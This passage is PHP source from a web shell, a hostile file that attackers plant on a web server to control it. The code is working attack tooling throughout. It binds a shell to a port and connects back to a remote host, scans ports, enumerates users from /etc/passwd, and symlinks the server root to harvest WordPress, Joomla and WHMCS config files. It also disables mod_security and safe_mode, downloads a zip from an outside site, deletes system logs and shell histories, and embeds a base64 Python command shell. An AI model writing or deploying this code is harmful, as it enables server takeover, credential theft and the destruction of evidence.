                                echo "</tr><tr>";
                                $line = 2;
                            }
                            echo '<tr class="l' . $line . '">';
                            $line = $line == 1 ? 2 : 1;
                            foreach ($item as $key => $value) {
                                if ($value == null) {
                                    echo "<td><i>null</i></td>";
                                } else {
                                    echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                }
                            }
                            echo "</tr>";
                        }
                        echo "</table>";
                    } else {
                        echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                    }
                }
                echo "<br><textarea name='p3' style='width:100%;\r\nheight:100px'>" . @htmlspecialchars($_POST['p3']) . "</textarea><br/><input type=submit value='Execute'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";\r\ndocument.sf.p2.value=this.f.value;\r\ndocument.sf.submit();\r\nreturn false;\r\n'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            if (@$_POST['p1'] == 'loadfile') {
                $db->query("SELECT LOAD_FILE('" . addslashes($_POST['p2']) . "') as file");
                $file = $db->fetch();
                echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
            }
        }
        echo "</div>";
        printFooter();
    }
    function actionNetwork()
    {
        printHeader();
        $back_connect_c = "";
        $back_connect_p = "";
        $bind_port_c = "";
        $bind_port_p = "";
        echo '<h1>Network tools</h1><div class=content>
 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);
return false;
">
 <br /><span>Bind port to /bin/sh</span><br/>
 Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'smurf\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
 </form>
 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);
return false;
">
 <br /><br /><span>Back-connect to</span><br/>
 Server: <input type=\'text\' name=\'server\' value="' . $_SERVER['REMOTE_ADDR'] . '"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
 </form><br>';
        if (isset($_POST['p1'])) {
            function cf($f, $t)
            {
                $w = @fopen($f, "w") or @function_exists('file_put_contents');
                if ($w) {
                    @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                    @fclose($w);
                }
            }
            if ($_POST['p1'] == 'bpc') {
                cf("/tmp/bp.c", $bind_port_c);
                $out = ex("gcc -o /tmp/bp /tmp/bp.c");
                @unlink("/tmp/bp.c");
                $out .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bp") . "</pre>";
            }
            if ($_POST['p1'] == 'bpp') {
                cf("/tmp/bp.pl", $bind_port_p);
                $out = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bp.pl") . "</pre>";
            }
            if ($_POST['p1'] == 'bcc') {
                cf("/tmp/bc.c", $back_connect_c);
                $out = ex("gcc -o /tmp/bc /tmp/bc.c");
                @unlink("/tmp/bc.c");
                $out .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bc") . "</pre>";
            }
            if ($_POST['p1'] == 'bcp') {
                cf("/tmp/bc.pl", $back_connect_p);
                $out = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bc.pl") . "</pre>";
            }
        }
        echo "</div>";
        printFooter();
    }
    function actionPortScanner()
    {
        printHeader();
        echo "<h1>Port Scanner</h1>";
        echo "<div class=\"content\">";
        echo "<form action=\"\" method=\"post\">";
        if (isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])) {
            $start = strip_tags($_POST['start']);
            $end = strip_tags($_POST['end']);
            $host = strip_tags($_POST['host']);
            for ($i = $start; $i <= $end; $i++) {
                $fp = @fsockopen($host, $i, $errno, $errstr, 3);
                if ($fp) {
                    echo 'Port ' . $i . ' is <font color=green>open</font><br>';
                }
                flush();
            }
        } else {
            echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
 <input type="hidden" name="c" value="' . htmlspecialchars($GLOBALS['cwd']) . '">
 <input type="hidden" name="charset" value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
 Host: <input type="text" name="host" value="localhost"/><br /><br />
 Port start: <input type="text" name="start" value="0"/><br /><br />
 Port end:<input type="text" name="end" value="5000"/><br /><br />
 <input type="submit" value="Scan Ports" />
 </form></center><br /><br />';
        }
        echo "</div>";
        printFooter();
    }
    function actionReadable()
    {
        printHeader();
        echo "<h1>Readable Dirs</h1>";
        echo "<div class=\"content\">";
        $sm = ini_get('safe_mode');
        if ($sm) {
            echo "<br /><b>Error: safe_mode = on</b><br /><br />";
        } else {
            @($passwd = fopen('/etc/passwd', 'r'));
            if (!$passwd) {
                echo "<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />";
            } else {
                $pub = array();
                $users = array();
                $conf = array();
                $i = 0;
                while (!feof($passwd)) {
                    $str = fgets($passwd);
                    if ($i > 35) {
                        $pos = strpos($str, ':');
                        $username = substr($str, 0, $pos);
                        $dirz = '/home/' . $username . '/public_html/';
                        if ($username != '') {
                            if (is_readable($dirz)) {
                                array_push($users, $username);
                                array_push($pub, $dirz);
                            }
                        }
                    }
                    $i++;
                }
                echo "<br><br>";
                echo "[+] Founded " . sizeof($users) . " entrys in /etc/passwd\n" . "<br />";
                echo "[+] Founded " . sizeof($pub) . " readable public_html directories\n" . "<br /><br /><br />";
                foreach ($users as $user) {
                    $path = "/home/{$user}/public_html/";
                    echo $path . "<br>";
                }
                echo "<br /><br /><br />[+] Complete...\n<br />";
            }
        }
        echo "</div>";
        printFooter();
    }
    function actionSymlink()
    {
        printHeader();
        echo "<h1>Symlink</h1>";
        $furl = 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
        $expld = explode('/', $furl);
        $burl = str_replace(end($expld), '', $furl);
        echo "<div class=\"content\"><center>\r\n <h3>[ <a href=\"#\" onclick=\"g('symlink',null,'website',null)\">Domains</a> ] - \r\n [ <a href=\"#\" onclick=\"g('symlink',null,'whole',null)\">Whole Server Symlink</a> ] - \r\n [ <a href=\"#\" onclick=\"g('symlink',null,'config',null)\">Config files symlink</a> ]</h3></center>";
        if (isset($_POST['p1']) && $_POST['p1'] == 'website') {
            echo "<center>";
            $d0mains = @file("/etc/named.conf");
            if (!$d0mains) {
                echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
            } else {
                echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
                $unk = array();
                foreach ($d0mains as $d0main) {
                    if (@eregi("zone", $d0main)) {
                        preg_match_all('#zone "(.*)"#', $d0main, $domains);
                        flush();
                        if (strlen(trim($domains[1][0])) > 2) {
                            $unk[] = $domains[1][0];
                            flush();
                        }
                    }
                }
                $count = 1;
                $unk = array_unique($unk);
                $l = 0;
                foreach ($unk as $d) {
                    $user = posix_getpwuid(@fileowner("/etc/valiases/" . $d));
                    echo "<tr" . ($l ? ' class=l1' : '') . "><td>" . $count . "</td><td><a href=http://" . $d . "/>" . $d . "</a></td><td>" . $user['name'] . "</td></tr>";
                    flush();
                    $count++;
                    $l = $l ? 0 : 1;
                }
                echo "</table>";
            }
            echo "</center>";
        }
        if (isset($_POST['p1']) && $_POST['p1'] == 'whole') {
            echo "<center>";
            @mkdir('sym', 0777);
            $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
            $hfp = @fopen('sym/.htaccess', 'w');
            fwrite($hfp, $hdt);
            if (function_exists('symlink')) {
                @symlink('/', 'sym/root');
            }
            $d0mains = @file('/etc/named.conf');
            if (!$d0mains) {
                echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
            } else {
                echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
                $count = 1;
                $mck = array();
                foreach ($d0mains as $d0main) {
                    if (@eregi('zone', $d0main)) {
                        preg_match_all('#zone "(.*)"#', $d0main, $domain);
                        flush();
                        if (strlen(trim($domain[1][0])) > 2) {
                            $mck[] = $domain[1][0];
                        }
                    }
                }
                $mck = array_unique($mck);
                $l = 0;
                foreach ($mck as $d) {
                    $user = posix_getpwuid(@fileowner('/etc/valiases/' . $d));
                    $ddt = $user['name'];
                    $ddt = $d;
                    if (@eregi("\\.ir", $d) or @eregi("\\.il", $d)) {
                        $ddt = "<div style=' color: #FF0000 ;\r\n text-shadow: 0px 0px 1px red;\r\n '>" . $d . '</div>';
                    }
                    echo "<tr" . ($l ? ' class=l1' : '') . "><td>" . $count++ . "</td><td><a target='_blank' href=http://" . $d . '/>' . $ddt . ' </a></td><td>' . $user['name'] . "</td><td><a href='sym/root/home/" . $user['name'] . "/public_html' target='_blank'>symlink </a></td></tr>";
                    flush();
                    $l = $l ? 0 : 1;
                }
                echo "</table>";
            }
            echo "</center>";
        }
        if (isset($_POST['p1']) && $_POST['p1'] == 'config') {
            echo "<center>";
            @mkdir('sym', 0777);
            $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
            $hfp = @fopen('sym/.htaccess', 'w');
            @fwrite($hfp, $hdt);
            if (function_exists('symlink')) {
                @symlink('/', 'sym/root');
            }
            $d0mains = @file('/etc/named.conf');
            if (!$d0mains) {
                echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
            } else {
                echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
                $count = 1;
                $l = 0;
                foreach ($d0mains as $d0main) {
                    if (@eregi('zone', $d0main)) {
                        preg_match_all('#zone "(.*)"#', $d0main, $domain);
                        flush();
                        if (strlen(trim($domain[1][0])) > 2) {
                            $user = posix_getpwuid(@fileowner('/etc/valiases/' . $domain[1][0]));
                            $c1 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/wp-config.php';
                            $ch01 = get_headers($c1);
                            $cf01 = $ch01[0];
                            $c2 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/blog/wp-config.php';
                            $ch02 = get_headers($c2);
                            $cf02 = $ch02[0];
                            $c3 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/configuration.php';
                            $ch03 = get_headers($c3);
                            $cf03 = $ch03[0];
                            $c4 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/joomla/configuration.php';
                            $ch04 = get_headers($c4);
                            $cf04 = $ch04[0];
                            $c5 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/includes/config.php';
                            $ch05 = get_headers($c5);
                            $cf05 = $ch05[0];
                            $c6 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/vb/includes/config.php';
                            $ch06 = get_headers($c6);
                            $cf06 = $ch06[0];
                            $c7 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/forum/includes/config.php';
                            $ch07 = get_headers($c7);
                            $cf07 = $ch07[0];
                            $c8 = $burl . '/sym/root/home/' . $user['name'] . 'public_html/clients/configuration.php';
                            $ch08 = get_headers($c8);
                            $cf08 = $ch08[0];
                            $c9 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/support/configuration.php';
                            $ch09 = get_headers($c9);
                            $cf09 = $ch09[0];
                            $c10 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/client/configuration.php';
                            $ch10 = get_headers($c10);
                            $cf10 = $ch10[0];
                            $c11 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/submitticket.php';
                            $ch11 = get_headers($c11);
                            $cf11 = $ch11[0];
                            $c12 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/client/configuration.php';
                            $ch12 = get_headers($c12);
                            $cf12 = $ch12[0];
                            $c13 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/includes/configure.php';
                            $ch13 = get_headers($c13);
                            $cf13 = $ch13[0];
                            $c14 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/include/app_config.php';
                            $ch14 = get_headers($c14);
                            $cf14 = $ch14[0];
                            $c15 = $burl . '/sym/root/home/' . $user['name'] . '/public_html/sites/default/settings.php';
                            $ch15 = get_headers($c15);
                            $cf15 = $ch15[0];
                            $out = '&nbsp;
';
                            if (strpos($cf01, '200') == true) {
                                $out = "<a href='" . $c1 . "' target='_blank'>Wordpress</a>";
                            } elseif (strpos($cf02, '200') == true) {
                                $out = "<a href='" . $c2 . "' target='_blank'>Wordpress</a>";
                            } elseif (strpos($cf03, '200') == true && strpos($cf11, '200') == true) {
                                $out = " <a href='" . $c11 . "' target='_blank'>WHMCS</a>";
                            } elseif (strpos($cf09, '200') == true) {
                                $out = " <a href='" . $c9 . "' target='_blank'>WHMCS</a>";
                            } elseif (strpos($cf10, '200') == true) {
                                $out = " <a href='" . $c10 . "' target='_blank'>WHMCS</a>";
                            } elseif (strpos($cf03, '200') == true) {
                                $out = " <a href='" . $c3 . "' target='_blank'>Joomla</a>";
                            } elseif (strpos($cf04, '200') == true) {
                                $out = " <a href='" . $c4 . "' target='_blank'>Joomla</a>";
                            } elseif (strpos($cf05, '200') == true) {
                                $out = " <a href='" . $c5 . "' target='_blank'>vBulletin</a>";
                            } elseif (strpos($cf06, '200') == true) {
                                $out = " <a href='" . $c6 . "' target='_blank'>vBulletin</a>";
                            } elseif (strpos($cf07, '200') == true) {
                                $out = " <a href='" . $c7 . "' target='_blank'>vBulletin</a>";
                            } elseif (strpos($cf08, '200') == true) {
                                $out = " <a href='" . $c7 . "' target='_blank'>Client Area</a>";
                            } elseif (strpos($cf12, '200') == true) {
                                $out = " <a href='" . $c7 . "' target='_blank'>Client Area</a>";
                            } elseif (strpos($cf13, '200') == true) {
                                $out = " <a href='" . $c7 . "' target='_blank'>osCommerce/Zen Cart</a>";
                            } elseif (strpos($cf14, '200') == true) {
                                $out = " <a href='" . $c7 . "' target='_blank'>Magento</a>";
                            } elseif (strpos($cf15, '200') == true) {
                                $out = " <a href='" . $c7 . "' target='_blank'>Drupal</a>";
                            } else {
                                continue;
                            }
                            echo '<tr' . ($l ? ' class=l1' : '') . '><td>' . $count++ . '</td><td><a href=http://www.' . $domain[1][0] . '/>' . $domain[1][0] . '</a></td><td>' . $user['name'] . '</td><td>' . $out . '</td></tr>';
                            flush();
                            $l = $l ? 0 : 1;
                        }
                    }
                }
                echo "</table>";
            }
            echo "</center>";
        }
        echo "</div>";
        printFooter();
    }
    function actionSafeMode()
    {
        printHeader();
        echo "<h1>Safe Mode</h1>";
        echo "<div class=\"content\">";
        echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| " . $GLOBALS['cwd'] . " |<br><br />";
        echo "<a href=# onclick=\"g(null,null,'php.ini',null)\">| PHP.INI | </a><a href=# onclick=\"g(null,null,null,'ini')\">| .htaccess(Mod) | </a><a href=# onclick=\"g(null,null,null,null,'sh')\">| .htaccess(perl) | </a></center>";
        if (!empty($_POST['p2']) && isset($_POST['p2'])) {
            $fil = fopen($GLOBALS['cwd'] . ".htaccess", "w");
            fwrite($fil, '<IfModule mod_security.c>
 Sec------Engine Off
 Sec------ScanPOST Off
 </IfModule>');
            fclose($fil);
        }
        if (!empty($_POST['p1']) && isset($_POST['p1'])) {
            $fil = fopen($GLOBALS['cwd'] . "php.ini", "w");
            fwrite($fil, 'safe_mode=OFF
 disable_functions=NONE');
            fclose($fil);
        }
        if (!empty($_POST['p3']) && isset($_POST['p3'])) {
            $fil = fopen($GLOBALS['cwd'] . ".htaccess", "w");
            fwrite($fil, 'Options FollowSymLinks MultiViews Indexes ExecCGI
 AddType application/x-httpd-cgi .sh
 AddHandler cgi-script .pl
 AddHandler cgi-script .pl');
            fclose($fil);
        }
        echo "<br><br /><br /></div>";
        echo "</div>";
        printFooter();
    }
    function actionSQLBUDDY()
    {
        printHeader();
        if (!file_exists('yazilimlar/sqlbuddy/index.php')) {
            $dizin = 'https://byr00t.co/vb/sqlbuddy.zip';
            function dosya_indir($link, $name = null)
            {
                $link_info = pathinfo($link);
                $uzanti = strtolower($link_info['extension']);
                $file = $name ? $name . '.' . $uzanti : $link_info['basename'];
                $curl = curl_init($link);
                $fopen = fopen($file, 'w');
                curl_setopt($curl, CURLOPT_HEADER, 0);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
                curl_setopt($curl, CURLOPT_FILE, $fopen);
                curl_exec($curl);
                curl_close($curl);
                fclose($fopen);
            }
            dosya_indir($dizin, "sqlbuddy");
            $zip = new ZipArchive();
            $file = 'sqlbuddy.zip';
            $zip->open($file);
            $cikar = $zip->extractTo('yazilimlar/');
            if (file_exists('sqlbuddy.zip')) {
                @unlink('sqlbuddy.zip');
            }
            if ($cikar) {
                echo "<iframe src=yazilimlar/sqlbuddy/index.php width=100% height=100% frameborder=0></iframe> ";
            } else {
                echo "<div class=\"alert alert-danger\"><strong>Hata!</strong> Dosya indirilirken kritik bir hata olu\xc3\x85\xc5\xb8tu.</div>";
            }
        } elseif (file_exists('yazilimlar/sqlbuddy/index.php')) {
            echo "<iframe src=yazilimlar/sqlbuddy/index.php width=100% height=100% frameborder=0></iframe> ";
        }
        printFooter();
    }
    function actionDeleteLOG()
    {
        printHeader();
        echo "<h1>Delete Logs</h1>";
        function cmdExe($in)
        {
            $out = '';
            if (function_exists('passthru')) {
                ob_start();
                @passthru($in);
                $out = ob_get_clean();
            } else {
                if (function_exists('exec')) {
                    @exec($in, $out);
                    $out = @join("\n", $out);
                } elseif (function_exists('system')) {
                    ob_start();
                    @system($in);
                    $out = ob_get_clean();
                } elseif (function_exists('shell_exec')) {
                    $out = shell_exec($in);
                } elseif (is_resource($f = @popen($in, "r"))) {
                    $out = "";
                    while (!@feof($f)) {
                        $out .= fread($f, 1024);
                    }
                    pclose($f);
                }
            }
            return $out;
        }
        cmdExe("rm -rf /tmp/logs");
        cmdExe("rm -rf /root/.ksh_history");
        cmdExe("rm -rf /root/.bash_history");
        cmdExe("rm -rf /root/.bash_logout");
        cmdExe("rm -rf /usr/local/apache/logs");
        cmdExe("rm -rf /usr/local/apache/log");
        cmdExe("rm -rf /var/apache/logs");
        cmdExe("rm -rf /var/apache/log");
        cmdExe("rm -rf /var/run/utmp");
        cmdExe("rm -rf /var/logs");
        cmdExe("rm -rf /var/log");
        cmdExe("rm -rf /var/adm");
        cmdExe("rm -rf /etc/wtmp");
        cmdExe("rm -rf /etc/utmp");
        cmdExe("rm -rf {$HISTFILE}");
        cmdExe("rm -rf /var/log/lastlog");
        cmdExe("rm -rf /var/log/wtmp");
        echo "<div style=\"padding:5px;\r\n\">\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /tmp/logs <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /root/.ksh_history <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /root/.bash_history <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /usr/local/apache/logs <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /usr/local/apache/log <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /var/apache/logs <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /var/apache/log <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /var/run/utmp <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /var/adm <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /etc/wtmp <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> \$HISTFILE<br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /var/log/lastlog <br>\r\n [<font class=\"d\">OK</font>] <font class=\"c\">Delete:</font> /var/log/wtmp <br>\r\n </div>";
        printFooter();
    }
    function actionPython()
    {
        printHeader();
        if (!is_dir('python')) {
            mkdir('python', 0755);
        }
        chdir('python');
        $kokdosya = ".htaccess";
        $dosya_adi = ".htaccess";
        $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;\r\n&#305;\r\nlamad&#305;\r\n!");
        $metin = "AddHandler cgi-script .r00t";
        fwrite($dosya, $metin);
        fclose($dosya);
        $pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
